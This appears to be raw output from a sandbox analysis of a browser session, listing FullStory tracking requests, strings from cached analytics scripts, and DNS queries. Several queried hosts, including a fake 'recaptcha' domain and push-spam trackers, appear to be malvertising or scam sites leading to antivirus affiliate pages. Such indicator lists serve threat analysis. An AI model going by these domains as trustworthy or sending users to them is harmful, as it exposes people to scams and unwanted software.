Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=2&ClientTime=1727968804761&PageStart=1727968793870&PrevBundleTime=1727968804962&IsNewSession=true&DeltaT=8693&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=6&ClientTime=1727968805367&PageStart=1727968793870&PrevBundleTime=1727968805518&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=7&ClientTime=1727968805546&PageStart=1727968793870&PrevBundleTime=1727968805897&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=1&ClientTime=1727968805524&PageStart=1727968793870&PrevBundleTime=0&IsNewSession=true&DeltaT=10102&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=6&ClientTime=1727968806046&PageStart=1727968793870&PrevBundleTime=1727968804738&LastActivity=152&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=8&ClientTime=1727968806180&PageStart=1727968793870&PrevBundleTime=1727968806548&IsNewSession=true&DeltaT=2019&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=7&ClientTime=1727968806655&PageStart=1727968793870&PrevBundleTime=1727968806878&LastActivity=758&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=7&ClientTime=1727968808343&PageStart=1727968793870&PrevBundleTime=1727968806878&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=8&ClientTime=1727968809342&PageStart=1727968793870&PrevBundleTime=1727968807224&LastActivity=3451&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=8&ClientTime=1727968809343&PageStart=1727968793870&PrevBundleTime=1727968809712&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=9&ClientTime=1727968810568&PageStart=1727968793870&PrevBundleTime=1727968810940&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=10&ClientTime=1727968811278&PageStart=1727968793870&PrevBundleTime=1727968811621&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=11&ClientTime=1727968811944&PageStart=1727968793870&PrevBundleTime=1727968812322&IsNewSession=true&DeltaT=1695&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=6&ClientTime=1727968812824&PageStart=1727968793870&PrevBundleTime=1727968804738&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=7&ClientTime=1727968813499&PageStart=1727968793870&PrevBundleTime=1727968813847&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=8&ClientTime=1727968814102&PageStart=1727968793870&PrevBundleTime=1727968814482&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=9&ClientTime=1727968814340&PageStart=1727968793870&PrevBundleTime=1727968810940&LastActivity=8450&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=9&ClientTime=1727968814723&PageStart=1727968793870&PrevBundleTime=1727968815097&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=10&ClientTime=1727968815414&PageStart=1727968793870&PrevBundleTime=1727968815783&IsNewSession=true&DeltaT=6782&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=10&ClientTime=1727968819349&PageStart=1727968793870&PrevBundleTime=1727968815334&LastActivity=13460&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: chromecache_393.1.dr	String found in binary or memory: <link rel="preconnect" href="https://www.facebook.com" crossorigin/> equals www.facebook.com (Facebook)
Source: chromecache_578.1.dr, chromecache_440.1.dr	String found in binary or memory: c?"runIfCanceled":"runIfUncanceled",[]);if(!g.length)return!0;var k=qA(a,c,e);Q(121);if(k["gtm.elementUrl"]==="https://www.facebook.com/tr/")return Q(122),!0;if(d&&f){for(var m=Kb(b,g.length),n=0;n<g.length;++n)g[n](k,m);return m.done}for(var p=0;p<g.length;++p)g[p](k,function(){});return!0},tA=function(){var a=[],b=function(c){return ob(a,function(d){return d.form===c})};return{store:function(c,d){var e=b(c);e?e.button=d:a.push({form:c,button:d})},get:function(c){var d=b(c);return d?d.button:null}}}, equals www.facebook.com (Facebook)
Source: chromecache_561.1.dr, chromecache_532.1.dr	String found in binary or memory: function(){$(this).find("div[id^\x3d'cmp-collapsesection__item']").collapse("hide")})})});$(document).on("hidden.bs.modal",function(a){$(".modal-backdrop.fade").hide()})},439:function(b,d){$(document).ready(function(){$("div#cmp-loader-onload").addClass("cmp-loader--hide");$(".youtube").each(function(){$(this).attr("onclick",'$(this).html("");$(this).html("\x3ciframe frameborder\x3d0 allowfullscreen src\x3dhttps://www.youtube.com/embed/"+ $(this).attr("data-embed") + "?rel\x3d0\x26showinfo\x3d0\x26autoplay\x3d1\x26mute\x3d1\x3e\x3c/iframe\x3e" )'); equals www.youtube.com (Youtube)
Source: chromecache_578.1.dr, chromecache_440.1.dr	String found in binary or memory: return b}IC.F="internal.enableAutoEventOnTimer";var gc=ja(["data-gtm-yt-inspected-"]),KC=["www.youtube.com","www.youtube-nocookie.com"],LC,MC=!1; equals www.youtube.com (Youtube)
Source: chromecache_556.1.dr	String found in binary or memory: return function(a,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var b=f.getFbeventsModules("signalsFBEventsGetTier"),c=d();function d(){try{if(a.trustedTypes&&a.trustedTypes.createPolicy){var b=a.trustedTypes;return b.createPolicy("facebook.com/signals/iwl",{createScriptURL:function(a){var b=new URL(a);b=b.hostname.endsWith(".facebook.com")&&b.pathname=="/signals/iwl.js";if(!b)throw new Error("Disallowed script URL");return a}})}}catch(a){}return null}e.exports=function(a,d){d=b(d);d=d==null?"www.facebook.com":"www."+d+".facebook.com";d="https://"+d+"/signals/iwl.js?pixel_id="+a;if(c!=null)return c.createScriptURL(d);else return d}})();return e.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)
Source: chromecache_556.1.dr	String found in binary or memory: return function(f,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var a=/^https:\/\/www\.([A-Za-z0-9\.]+)\.facebook\.com\/tr\/?$/,b=["https://www.facebook.com/tr","https://www.facebook.com/tr/"];e.exports=function(c){if(b.indexOf(c)!==-1)return null;var d=a.exec(c);if(d==null)throw new Error("Malformed tier: "+c);return d[1]}})();return e.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)
Source: chromecache_556.1.dr	String found in binary or memory: return function(f,g,h,i){var j={exports:{}};j.exports;(function(){"use strict";var a={ENDPOINT:"https://www.facebook.com/tr/",INSTAGRAM_TRIGGER_ATTRIBUTION:"https://www.instagram.com/tr/",AEM_ENDPOINT:"https://www.facebook.com/.well-known/aggregated-event-measurement/",GPS_ENDPOINT:"https://www.facebook.com/privacy_sandbox/pixel/register/trigger/",TOPICS_API_ENDPOINT:"https://www.facebook.com/privacy_sandbox/topics/registration/"};j.exports=a})();return j.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)
Source: chromecache_578.1.dr, chromecache_440.1.dr	String found in binary or memory: var XB=function(a,b,c,d,e){var f=Oz("fsl",c?"nv.mwt":"mwt",0),g;g=c?Oz("fsl","nv.ids",[]):Oz("fsl","ids",[]);if(!g.length)return!0;var k=Tz(a,"gtm.formSubmit",g),m=a.action;m&&m.tagName&&(m=a.cloneNode(!1).action);Q(121);if(m==="https://www.facebook.com/tr/")return Q(122),!0;k["gtm.elementUrl"]=m;k["gtm.formCanceled"]=c;a.getAttribute("name")!=null&&(k["gtm.interactedFormName"]=a.getAttribute("name"));e&&(k["gtm.formSubmitElement"]=e,k["gtm.formSubmitElementText"]=e.value);if(d&&f){if(!By(k,Dy(b, equals www.facebook.com (Facebook)
Source: chromecache_486.1.dr, chromecache_455.1.dr	String found in binary or memory: {if(typeof window.youtubeApiLoaded=='undefined'){var tag=document.createElement('script');tag.src="https://www.youtube.com/iframe_api";var firstScriptTag=document.getElementsByTagName('script')[0];firstScriptTag.parentNode.insertBefore(tag,firstScriptTag);}else{if(window.youtubeApiLoaded==true){window.onYouTubeIframeAPIReady();}}}}});window.onYouTubeIframeAPIReady=function(){window.player=new YT.Player('player',{events:{'onReady':onPlayerReady,'onStateChange':onPlayerStateChange}});window.youtubeApiLoaded=true;},window.onPlayerReady=function(event){var video_name="unknown";try{video_name=event.target.B.videoData.title;} equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: ahchoadeegu.homes
Source: global traffic	DNS traffic detected: DNS query: 831be5de.braraildye.live
Source: global traffic	DNS traffic detected: DNS query: re-captha-version-4-21.buzz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: pushbizapi.com
Source: global traffic	DNS traffic detected: DNS query: k8cpmrdof.thebigbonusleader.xyz
Source: global traffic	DNS traffic detected: DNS query: static.imghst-de.com
Source: global traffic	DNS traffic detected: DNS query: jpgtrk.imghst-de.com
Source: global traffic	DNS traffic detected: DNS query: trk.imghst-de.com
Source: global traffic	DNS traffic detected: DNS query: search.molhajane.live
Source: global traffic	DNS traffic detected: DNS query: rtb.altairfomalhaut.com
Source: global traffic	DNS traffic detected: DNS query: pshmtrack.com
Source: global traffic	DNS traffic detected: DNS query: psh-dsp-trk.trkless.com
Source: global traffic	DNS traffic detected: DNS query: beta-scan.site
Source: global traffic	DNS traffic detected: DNS query: sdk4push.com
Source: global traffic	DNS traffic detected: DNS query: redrotou.net
Source: global traffic	DNS traffic detected: DNS query: translate.google.com
Source: global traffic	DNS traffic detected: DNS query: my.rtmark.net
Source: global traffic	DNS traffic detected: DNS query: uidsync.net
Source: global traffic	DNS traffic detected: DNS query: avkk.newplanexcel.com
Source: global traffic	DNS traffic detected: DNS query: www.jdoqocy.com
Source: global traffic	DNS traffic detected: DNS query: cj.dotomi.com
Source: global traffic	DNS traffic detected: DNS query: www.emjcd.com
Source: global traffic	DNS traffic detected: DNS query: www.mcafee.com
Source: global traffic	DNS traffic detected: DNS query: id.mcafee.com
Source: global traffic	DNS traffic detected: DNS query: tags.tiqcdn.com
Source: global traffic	DNS traffic detected: DNS query: www.upsellit.com
Source: global traffic	DNS traffic detected: DNS query: c.go-mpulse.net
Source: global traffic	DNS traffic detected: DNS query: rtr.innovid.com
Source: global traffic	DNS traffic detected: DNS query: sp.analytics.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: mcafeeinc.demdex.net
Source: global traffic	DNS traffic detected: DNS query: adservice.google.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: app.upsellit.com
Source: global traffic	DNS traffic detected: DNS query: pixel.quantserve.com
Source: global traffic	DNS traffic detected: DNS query: td.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: googleads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: connect.facebook.net
Source: global traffic	DNS traffic detected: DNS query: s-static.innovid.com
Source: global traffic	DNS traffic detected: DNS query: s.yimg.com
Source: global traffic	DNS traffic detected: DNS query: secure.quantserve.com
Source: global traffic	DNS traffic detected: DNS query: mcafee12.tt.omtrdc.net
Source: global traffic	DNS traffic detected: DNS query: s.go-mpulse.net
Source: global traffic	DNS traffic detected: DNS query: me.kis.v2.scr.kaspersky-labs.com
Source: global traffic	DNS traffic detected: DNS query: gc.kis.v2.scr.kaspersky-labs.com
Source: global traffic	DNS traffic detected: DNS query: dpm.demdex.net
Source: global traffic	DNS traffic detected: DNS query: edge.fullstory.com
Source: global traffic	DNS traffic detected: DNS query: idsync.rlcdn.com
Source: global traffic	DNS traffic detected: DNS query: cdn1.adoberesources.net
Source: global traffic	DNS traffic detected: DNS query: cm.everesttech.net
Source: global traffic	DNS traffic detected: DNS query: smetrics.mcafee.com
Source: global traffic	DNS traffic detected: DNS query: google.com
Source: global traffic	DNS traffic detected: DNS query: rs.fullstory.com
Source: global traffic	DNS traffic detected: DNS query: s.amazon-adsystem.com
Source: global traffic	DNS traffic detected: DNS query: adobedc.demdex.net
Source: global traffic	DNS traffic detected: DNS query: collector-30568.us.tvsquared.com
Source: global traffic	DNS traffic detected: DNS query: baxhwilimy34czx6wyfa-f-dcf13e1a4-clientnsv4-s.akamaihd.net
Source: global traffic	DNS traffic detected: DNS query: 02179912.akstat.io
Source: global traffic	DNS traffic detected: DNS query: prod.upsellit.com

Source: unknown

HTTP traffic detected: POST /checkin HTTP/1.1Host: android.clients.google.comConnection: keep-aliveContent-Length: 86Content-Type: application/x-protobufSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not Foundx-request-id: c77ae0f1-29b7-4c09-a428-0ac934c85c08vary: Origindate: Thu, 03 Oct 2024 15:19:55 GMTx-konductor: N/Ax-adobe-edge: IRL1;6server: jagcontent-length: 0strict-transport-security: max-age=31536000; includeSubDomainscache-control: no-cache, no-store, max-age=0, no-transform, privatex-xss-protection: 1; mode=blockx-content-type-options: nosniffconnection: close

Source: chromecache_530.1.dr, chromecache_330.1.dr	String found in binary or memory: http://collector-30568.us.tvsquared.com/
Source: chromecache_445.1.dr, chromecache_294.1.dr	String found in binary or memory: http://piwik.org
Source: chromecache_445.1.dr, chromecache_294.1.dr	String found in binary or memory: http://piwik.org/free-software/bsd/
Source: chromecache_393.1.dr	String found in binary or memory: http://schema.org/ImageObject
Source: chromecache_505.1.dr, chromecache_348.1.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: chromecache_552.1.dr, chromecache_346.1.dr	String found in binary or memory: http://www.broofa.com
Source: chromecache_474.1.dr, chromecache_312.1.dr	String found in binary or memory: http://www.upsellit.com/customer-recovery-solutions.jsp
Source: chromecache_393.1.dr	String found in binary or memory: https://adservice.google.com
Source: chromecache_440.1.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk?
Source: chromecache_371.1.dr	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js
Source: chromecache_393.1.dr, chromecache_483.1.dr, chromecache_434.1.dr, chromecache_500.1.dr, chromecache_314.1.dr, chromecache_577.1.dr, chromecache_310.1.dr	String found in binary or memory: https://app.upsellit.com
Source: chromecache_446.1.dr	String found in binary or memory: https://braraildye.live/qxvlhqbn/
Source: chromecache_393.1.dr	String found in binary or memory: https://c.go-mpulse.net
Source: chromecache_578.1.dr, chromecache_440.1.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: chromecache_530.1.dr, chromecache_330.1.dr	String found in binary or memory: https://collector-30568.us.tvsquared.com/
Source: chromecache_393.1.dr	String found in binary or memory: https://connect.facebook.net
Source: chromecache_556.1.dr	String found in binary or memory: https://connect.facebook.net/
Source: chromecache_439.1.dr, chromecache_374.1.dr, chromecache_351.1.dr, chromecache_518.1.dr	String found in binary or memory: https://connect.facebook.net/en_US/fbevents.js
Source: chromecache_556.1.dr	String found in binary or memory: https://connect.facebook.net/log/fbevents_telemetry/
Source: chromecache_313.1.dr, chromecache_375.1.dr	String found in binary or memory: https://download.mcafee.com/molbin/iss-loc/pcoptimizer/install.exe
Source: chromecache_552.1.dr, chromecache_346.1.dr	String found in binary or memory: https://fonts.googleapis.com
Source: chromecache_552.1.dr, chromecache_346.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/productlogos/translate/v14/24px.svg
Source: chromecache_561.1.dr, chromecache_367.1.dr, chromecache_532.1.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_561.1.dr, chromecache_532.1.dr	String found in binary or memory: https://github.com/auth0/auth0-spa-js/blob/master/FAQ.md#why-do-i-get-auth0-spa-js-must-run-on-a-sec
Source: chromecache_445.1.dr, chromecache_294.1.dr	String found in binary or memory: https://github.com/piwik/piwik/blob/master/js/piwik.js
Source: chromecache_561.1.dr, chromecache_367.1.dr, chromecache_532.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_561.1.dr, chromecache_532.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_561.1.dr, chromecache_532.1.dr	String found in binary or memory: https://github.com/zloirock/core-js
Source: chromecache_561.1.dr, chromecache_532.1.dr	String found in binary or memory: https://github.com/zloirock/core-js/blob/v3.22.6/LICENSE
Source: chromecache_440.1.dr	String found in binary or memory: https://google.com
Source: chromecache_440.1.dr	String found in binary or memory: https://googleads.g.doubleclick.net
Source: chromecache_393.1.dr	String found in binary or memory: https://home.mcafee.com/Secure/MyAccount/DashBoard.aspx?culture=en-us
Source: chromecache_393.1.dr	String found in binary or memory: https://id.mcafee.com
Source: chromecache_561.1.dr, chromecache_532.1.dr	String found in binary or memory: https://img.youtube.com/vi/
Source: chromecache_531.1.dr, chromecache_443.1.dr	String found in binary or memory: https://jouteetu.net
Source: chromecache_393.1.dr	String found in binary or memory: https://mcafeeinc.demdex.net
